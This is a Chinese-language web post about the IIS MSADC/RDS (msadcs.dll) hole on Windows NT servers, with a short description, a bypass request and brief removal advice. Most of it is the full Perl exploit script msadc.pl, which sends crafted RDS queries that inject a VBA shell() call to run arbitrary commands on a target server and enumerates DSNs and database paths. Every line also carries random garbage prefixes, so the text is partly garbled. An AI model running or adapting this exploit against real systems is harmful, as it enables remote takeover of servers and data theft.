IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
h=:Q-?n- JfR%L q~ 涉及程序:
m}X`> aD/ Microsoft NT server
1;{Rhu7*
k vvm0t"|\ 描述:
sQ
fFu 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
L31HGH2l zRyuq1Zyc, 详细:
vMS
|$L 如果你没有时间读详细内容的话,就删除:
<kCU@SK c:\Program Files\Common Files\System\Msadc\msadcs.dll
\Cii1\R= 有关的安全问题就没有了。
}5hqDBK? (2=Zm@Zpf 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
,gS;m
&!'J ;1a~pF S 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
!1ED~3/X 关于利用ODBC远程漏洞的描述,请参看:
Z
/9> C_7+a@?B http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6b:tyQ :3I@(k\PY 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
#Y4=J
6 http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1~PV[2a :$n=$C-wp 这里不再论述。
(JM5`XwM
9o+)?1\ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
QDhOhGK JhLgCnm /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
AT%u%cE- 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
' hs2RSq @w?P7P<O` #Jw1IcuH #将下面这段保存为txt文件,然后: "perl -x 文件名"
*"{lMZ+ C<P%CG&; #!perl
2Tagr1L #
}&[ # MSADC/RDS 'usage' (aka exploit) script
i(NdGL#P #
fP.
6HF_p_ # by rain.forest.puppy
zR{W?_cV #
aXoVy&x= # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
jJ5W>Q1mK$ # beta test and find errors!
K|Di1)7=/ v+X)Qmzf~ use Socket; use Getopt::Std;
6#HK'7ClL getopts("e:vd:h:XR", \%args);
m_)FC-/pSl {o>j6RS\ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
nYX@J6! c|#8T*`C if (!defined $args{h} && !defined $args{R}) {
eY| print qq~
z[3L2U~6 Usage: msadc.pl -h <host> { -d <delay> -X -v }
+w+}b^4 -h <host> = host you want to scan (ip or domain)
lhBT@5Dm9 -d <seconds> = delay between calls, default 1 second
pNKhc#-w -X = dump Index Server path table, if available
kYjGj,m" -v = verbose
|%'
nVxc4r -e = external dictionary file for step 5
b4QI)z 3 yB!M Or a -R will resume a command session
J%,*isEL |563D#?cR ~; exit;}
o*o/q],C9- GhIKvX_N $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
; ShJi if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
28UU60 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
JW3B'_0 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
HlH64w2^R $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
%*L:sTj( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
G{6;>8h Qx+%"YO if (!defined $args{R}){ $ret = &has_msadc;
[x,>?~6ek die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
:R~MO& k@z,Iq8 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Yj6*NZ* . "cmd /c ";
t({W
[JL $in=<STDIN>; chomp $in;
D?NbW @] $command="cmd /c " . $in ;
#6CC3TJ'k /N&CaH\;^$ if (defined $args{R}) {&load; exit;}
a+%6B_|\ /JWGifH print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ybY]e; v*O &try_btcustmr;
ZOZ+ Y\uU eep1I
:N print "\nStep 2: Trying to make our own DSN...";
T-U}QM_e &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
'LO^< :gep:4&u print "\nStep 3: Trying known DSNs...";
2fWTY0 &known_dsn;
`wDl<[V ,uSQNre\j print "\nStep 4: Trying known .mdbs...";
f PM8f &known_mdb;
*U
P@9D EV*IoE$W]= if (defined $args{e}){
d%V*|0c) print "\nStep 5: Trying dictionary of DSN names...";
tF{D= ;G &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
/assq+H {/
BT9|LI print "Sorry Charley...maybe next time?\n";
"gDb1h)8 exit;
=*r])Vg^ osX8eX]\ ##############################################################################
RsY3V=u 'qOREN sub sendraw { # ripped and modded from whisker
}x07^4$j sleep($delay); # it's a DoS on the server! At least on mine...
!qM=a3 my ($pstr)=@_;
yFtd=AI'E socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%nV]ibp2) die("Socket problems\n");
`Ch9~*p if(connect(S,pack "SnA4x8",2,80,$target)){
Q+W1lv8R select(S); $|=1;
LC'{p print $pstr; my @in=<S>;
!BOY@$Y select(STDOUT); close(S);
%)0*&a 4 return @in;
R]RZq+2^ } else { die("Can't connect...\n"); }}
\E*d\hrl{ 3%(N[&LU ##############################################################################
id2j7|$, F7O(Cy"1 sub make_header { # make the HTTP request
i5CK*"$Q my $msadc=<<EOT
CTZh0x POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
U qFv}VsnF User-Agent: ACTIVEDATA
"saUai4z Host: $ip
6{^E{go Content-Length: $clen
Is{KN!Hw Connection: Keep-Alive
5*,f
Fib L 8dc(Z%v ADCClientVersion:01.06
-6n K<e` Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
,I%g|'2 8q,6}mV
--!ADM!ROX!YOUR!WORLD!
<cqbUL Content-Type: application/x-varg
A*}.EClH Content-Length: $reqlen
Dk(1}%0U/ \kU &^Hi EOT
s#)5h0t#du ; $msadc=~s/\n/\r\n/g;
^]W<X"H+Z return $msadc;}
{6_|/KE9_ --|Wh^i>? ##############################################################################
WYEKf9} k6sI
L3QJ0 sub make_req { # make the RDS request
3 G`aHTWk my ($switch, $p1, $p2)=@_;
z6w3"9Um my $req=""; my $t1, $t2, $query, $dsn;
).sRv6/c a{qM2P(S if ($switch==1){ # this is the btcustmr.mdb query
T`;%TO*Y $query="Select * from Customers where City=" . make_shell();
Z(ACc9k6:' $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
`O[};3O& $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
=1 Oj*x@*4 eFL=G% elsif ($switch==2){ # this is general make table query
xx{PespNt $query="create table AZZ (B int, C varchar(10))";
O4^8jK} $dsn="$p1";}
R}4So1 2IKnhBSV3 elsif ($switch==3){ # this is general exploit table query
A .EbXo/ $query="select * from AZZ where C=" . make_shell();
TiO"xMX $dsn="$p1";}
jN6uT&{T ~==>pj elsif ($switch==4){ # attempt to hork file info from index server
@EnuJe $query="select path from scope()";
p4-o/8rO $dsn="Provider=MSIDXS;";}
]jmL]Ny^ 5`gQ~ elsif ($switch==5){ # bad query
e0T34x' $query="select";
vfE6Ggz
$dsn="$p1";}
ysQ,)QoiR{
SVB \ $t1= make_unicode($query);
~,5gUl?Il $t2= make_unicode($dsn);
5[YDZ7g"~ $req = "\x02\x00\x03\x00";
fM^qQM[lG $req.= "\x08\x00" . pack ("S1", length($t1));
PSZL2iGj9V $req.= "\x00\x00" . $t1 ;
NR5oIKP? $req.= "\x08\x00" . pack ("S1", length($t2));
pm_u
$req.= "\x00\x00" . $t2 ;
fi$-;Gz $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
sU@nc!&Y@ return $req;}
Ux}(?Z B hp-jq'!B ##############################################################################
_PlKhv} )Cc q4i sub make_shell { # this makes the shell() statement
pXtX jb return "'|shell(\"$command\")|'";}
j{9D{ nAjO6g6E ##############################################################################
2|}+T6_q Q^e}?v%=%3 sub make_unicode { # quick little function to convert to unicode
Y<Fz)dQo my ($in)=@_; my $out;
{O`w,dMOI for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
'4|-9M3f return $out;}
}9W4"e 2) #R.-KUW: ##############################################################################
}#Qc \eud Y#lk6 sub rdo_success { # checks for RDO return success (this is kludge)
7U2J xE my (@in) = @_; my $base=content_start(@in);
Ooq! 0g if($in[$base]=~/multipart\/mixed/){
v4.#;F.\m return 1 if( $in[$base+10]=~/^\x09\x00/ );}
A3iFI9Iv return 0;}
}`,t$NV` h?;T7|^ ##############################################################################
TG+VEL |T Ndcg/d sub make_dsn { # this makes a DSN for us
:X]itTrGs my @drives=("c","d","e","f");
kMt 8/ E` print "\nMaking DSN: ";
< VSA foreach $drive (@drives) {
jhg;%+KB print "$drive: ";
?)1{)Erf8x my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
GP:77)b5 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
:"IE . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
\8 h;K>=h $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
eK!V
); return 0 if $2 eq "404"; # not found/doesn't exist
IuRmEL_Q_ if($2 eq "200") {
y10h#&k foreach $line (@results) {
)_i
qAqkS return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
?Vdia:
} return 0;}
52,m:EhL 0 SNIYkGE ##############################################################################
(C@~3!AVa ,]cD sub verify_exists {
Hqn#yInA7~ my ($page)=@_;
\,7}mdQSv my @results=sendraw("GET $page HTTP/1.0\n\n");
Tny%7xSx1 return $results[0];}
FZtfh %e(z/"M=` ##############################################################################
6N;wqn 45MLt5^| sub try_btcustmr {
D? 8rO" my @drives=("c","d","e","f");
:C65-[PSdO my @dirs=("winnt","winnt35","winnt351","win","windows");
A0q|J/T uec!RKE foreach $dir (@dirs) {
x\s|n{ print "$dir -> "; # fun status so you can see progress
^,;z|f'%* foreach $drive (@drives) {
Tp_L%F print "$drive: "; # ditto
KFvQ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
j;fpQ_KL $reqlenlen=length( "$reqlen" );
[zlN!.Z $clen= 206 + $reqlenlen + $reqlen;
=IW?WIXk *EZHJt9 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
U9A~9"O if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
ZOQTINf else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
X90J! r.>].~}4 ##############################################################################
TT4./R: 'b#0t#|TM sub odbc_error {
I9mvte my (@in)=@_; my $base;
EVVP]ND my $base = content_start(@in);
S!G(a"<W if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
},>pDeX^P $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Qkd<sxL $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qLT>Mz)$% $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3`ELKq return $in[$base+4].$in[$base+5].$in[$base+6];}
v{jQek4 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
.Jrqm print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
ghX|3lI\q $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
krC{ed Y<Xz
wro0 ##############################################################################
r]l!WRn UF<uU-C" sub verbose {
fe_yqIdk my ($in)=@_;
$ n+w$CI) return if !$verbose;
;ml)l~~YU print STDOUT "\n$in\n";}
;r>snJ=M +tk{"s^r* ##############################################################################
.$%Soyr?, 3plzHz ,x sub save {
'C
~y5j my ($p1, $p2, $p3, $p4)=@_;
L}}y'^( open(OUT, ">rds.save") || print "Problem saving parameters...\n";
K!'AkTW+- print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
C0
/g1;p( close OUT;}
Z6_N$Z.A 3&[>u;Bp ##############################################################################
DiEluA&w9 '6xQT-sUih sub load {
i 4%xfN my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,>:;#2+og open(IN,"<rds.save") || die("Couldn't open rds.save\n");
]Qfn(u=o @p=<IN>; close(IN);
,^x4sA[/ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
T:IW%?M $target= inet_aton($ip) || die("inet_aton problems");
N#Zhxu,g! print "Resuming to $ip ...";
^H2-RBE# $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
z-LB^kc8oQ if($p[1]==1) {
:w<V $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
)YX 'N<[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
q*7zx_ o my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
rSHpS`\ou if (rdo_success(@results)){print "Success!\n";}
K a6,<C
o else { print "failed\n"; verbose(odbc_error(@results));}}
|d*&y#kV elsif ($p[1]==3){
ewfP G,S if(run_query("$p[3]")){
PB/IFsJ print "Success!\n";} else { print "failed\n"; }}
Qum9A elsif ($p[1]==4){
$P(v{W) if(run_query($drvst . "$p[3]")){
Q`rF&)Q5 print "Success!\n"; } else { print "failed\n"; }}
VGceD$< exit;}
|ZCn`9hvn i2sN3it ##############################################################################
-Y*bSP)\ zD(`B+ sub create_table {
#DN0T' B my ($in)=@_;
9uer(}WKT $reqlen=length( make_req(2,$in,"") ) - 28;
cu% C" $reqlenlen=length( "$reqlen" );
H]$)Eg%6 $clen= 206 + $reqlenlen + $reqlen;
lNL6M%e$Q my @results=sendraw(make_header() . make_req(2,$in,""));
't_[dSO return 1 if rdo_success(@results);
;Ww7"-=sw my $temp= odbc_error(@results); verbose($temp);
FRS>KO=3 return 1 if $temp=~/Table 'AZZ' already exists/;
{2+L@ return 0;}
Mnz!nWhk #ssN027 ##############################################################################
g q}I[N 2A\,-*pc sub known_dsn {
W ]Nv33i
[ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Ci<ATho my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
}yJ$SR]t "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
-,+q#F "banner", "banners", "ads", "ADCDemo", "ADCTest");
CWNx4)ZGw 8S<@"v foreach $dSn (@dsns) {
(vB<%l.& print ".";
@E-\ J7 yh next if (!is_access("DSN=$dSn"));
m^#rB`0;L if(create_table("DSN=$dSn")){
d , Y#H0` print "$dSn successful\n";
&CIVL#];e if(run_query("DSN=$dSn")){
un=2}@ ' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
+q)5dYRzV
print "Something's borked. Use verbose next time\n";}}} print "\n";}
n#:N;T;\a K\$J4~EtG ##############################################################################
.{=$!8|&I9 [<{Kw=X__2 sub is_access {
x)JOClLr my ($in)=@_;
cP}KU 5j $reqlen=length( make_req(5,$in,"") ) - 28;
gF0q@M y~ $reqlenlen=length( "$reqlen" );
}>'PT- $clen= 206 + $reqlenlen + $reqlen;
j8n4fv-)f my @results=sendraw(make_header() . make_req(5,$in,""));
q-`RI*1] my $temp= odbc_error(@results);
]b= P= verbose($temp); return 1 if ($temp=~/Microsoft Access/);
g"L|n7_b return 0;}
Q\WC+,_% DF
g,Xa# ##############################################################################
.-IkL|M 8?i7U<CB sub run_query {
(&P9+Tl my ($in)=@_;
vi|R(& $reqlen=length( make_req(3,$in,"") ) - 28;
kdCP $reqlenlen=length( "$reqlen" );
v9D22,K- $clen= 206 + $reqlenlen + $reqlen;
x&`~R>5/ my @results=sendraw(make_header() . make_req(3,$in,""));
0k'e:AjP return 1 if rdo_success(@results);
Ezi-VGjr]
my $temp= odbc_error(@results); verbose($temp);
IZm(`b;t^ return 0;}
^m/oDB- N,f4*PQ ##############################################################################
A^RR@D g(Io/hyj sub known_mdb {
E^rbcGJ my @drives=("c","d","e","f","g");
=Me5ftw my @dirs=("winnt","winnt35","winnt351","win","windows");
sj8~?O my $dir, $drive, $mdb;
PI~1GyJr@; my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[b/k3&O' k $fGom # this is sparse, because I don't know of many
?0
m\(# my @sysmdbs=( "\\catroot\\icatalog.mdb",
x+h~gckLb "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
1$2D O "\\system32\\certmdb.mdb",
t2V0lyeL "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
+4,2<\fX 5hbJOo0BZ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
h8X g`C\ "\\cfusion\\cfapps\\forums\\forums_.mdb",
$rhgzpZ!X_ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
e{A9r@p! "\\cfusion\\cfapps\\security\\realm_.mdb",
d @*GUmJ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
[F*4EGB "\\cfusion\\database\\cfexamples.mdb",
O4g+D#Lu "\\cfusion\\database\\cfsnippets.mdb",
xxm%u9@s "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
v"MX>^/< "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
] )"u+ "\\cfusion\\brighttiger\\database\\cleam.mdb",
{w8 NN-n "\\cfusion\\database\\smpolicy.mdb",
yR~R: "\\cfusion\\database\cypress.mdb",
LT~YFS "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Y'u7 IX} "\\website\\cgi-win\\dbsample.mdb",
Hh4 n "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Ic{F*nnM "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
xEltwuDd? ); #these are just
A+&xMM2Wj foreach $drive (@drives) {
2TES>} foreach $dir (@dirs){
{66fG53x foreach $mdb (@sysmdbs) {
sjM;s{gy print ".";
8`]=C~G if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
ZZj~GQL(S print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
a2f^x@0k if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
>z%Q>(F print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
^@"H1 } else { print "Something's borked. Use verbose next time\n"; }}}}}
mrJQ# +@Ad1fJi foreach $drive (@drives) {
Pa^A$fy\ foreach $mdb (@mdbs) {
|w*R8ro_ print ".";
H Y ynMP if(create_table($drv . $drive . $dir . $mdb)){
g'l?~s`SB print "\n" . $drive . $dir . $mdb . " successful\n";
kwud?2E if(run_query($drv . $drive . $dir . $mdb)){
7P B)'Wl"6 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
3s:%2%jVK } else { print "Something's borked. Use verbose next time\n"; }}}}
W{5:'9, }
@<@SMK) #-Z8Z
i"44 ##############################################################################
kJAn4I.l ycJg%]F*5 sub hork_idx {
tj*y)28- print "\nAttempting to dump Index Server tables...\n";
/?6gdN print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
M0'
a9.d $reqlen=length( make_req(4,"","") ) - 28;
E_1="&p $reqlenlen=length( "$reqlen" );
TS"D]Txs $clen= 206 + $reqlenlen + $reqlen;
EQe5JFR my @results=sendraw2(make_header() . make_req(4,"",""));
E"|4Y(G if (rdo_success(@results)){
$2MAZGJV my $max=@results; my $c; my %d;
aZk&`Jpz for($c=19; $c<$max; $c++){
y#<MVH $results[$c]=~s/\x00//g;
npDIX $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
zD)pF1,7:8 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
DOQc"+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
!>(RK"KWq] $d{"$1$2"}="";}
OI0B:() foreach $c (keys %d){ print "$c\n"; }
@+Y8*Rj\3 } else {print "Index server doesn't seem to be installed.\n"; }}
8CC/ BOe oW$s
xS ##############################################################################
-z:&*= &48_2Q"{ sub dsn_dict {
7dX/bzUVz8 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
o+?rI
p while(<IN>){
f&hwi:t $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
C*I(|.i@ next if (!is_access("DSN=$dSn"));
-#29xRPk if(create_table("DSN=$dSn")){
w#
*1 /N print "$dSn successful\n";
%@R~DBS if(run_query("DSN=$dSn")){
XMRNuEU print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Z?^"\u- print "Something's borked. Use verbose next time\n";}}}
@ 2_<,;$ print "\n"; close(IN);}
aj~bt-cE 3_`szl- ##############################################################################
j}+5vB|0 [WB{T3j sub sendraw2 { # ripped and modded from whisker
33~qgK1> sleep($delay); # it's a DoS on the server! At least on mine...
"Jy~PcJZ1 my ($pstr)=@_;
H<ZU#U0FZf socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Sg]
J7;] die("Socket problems\n");
S='syq>Aok if(connect(S,pack "SnA4x8",2,80,$target)){
O {k:yVb print "Connected. Getting data";
]Y.deVw3i open(OUT,">raw.out"); my @in;
fA! 6sB select(S); $|=1; print $pstr;
q6wr=OWD while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
15zrrU~D close(OUT); select(STDOUT); close(S); return @in;
gor<g))\ } else { die("Can't connect...\n"); }}
AaN"7.Z/ Ae?e 70bY ##############################################################################
PK&2h,Cu+ P|^$kK sub content_start { # this will take in the server headers
fj4^VXD my (@in)=@_; my $c;
n~Szf for ($c=1;$c<500;$c++) {
ACjf\4Q if($in[$c] =~/^\x0d\x0a/){
z8Q"%@ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
]v5-~E! else { return $c+1; }}}
Y'Z+, CNf return -1;} # it should never get here actually
HXJ9xkrr -U>7
H`5 ##############################################################################
l[/q%Ca'> fw{,bJ(U sub funky {
.h;Se my (@in)=@_; my $error=odbc_error(@in);
>&H~nGP. if($error=~/ADO could not find the specified provider/){
!U BVPR* print "\nServer returned an ADO miscofiguration message\nAborting.\n";
u8OxD exit;}
3AlqBXE"Z< if($error=~/A Handler is required/){
MFg'YA2/ print "\nServer has custom handler filters (they most likely are patched)\n";
C%ytkzG_ exit;}
5@XV6 if($error=~/specified Handler has denied Access/){
S;A)C`X& print "\nServer has custom handler filters (they most likely are patched)\n";
qSQ@p\O~ exit;}}
PMKb ]y o6?l/nJ ##############################################################################
2[dIOb4b
+=8X8<Pu sub has_msadc {
FBsn;,3<W my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
/qxJgoa my $base=content_start(@results);
,.g}W~S) return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
o&^NwgRCF return 0;}
gKL1c{BV [xpQH? ########################
M^H90GN)X 3:|-#F*k{ ]@SU4 解决方案:
]0D9N" 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
p\U*;'hv 2、移除web 目录: /msadc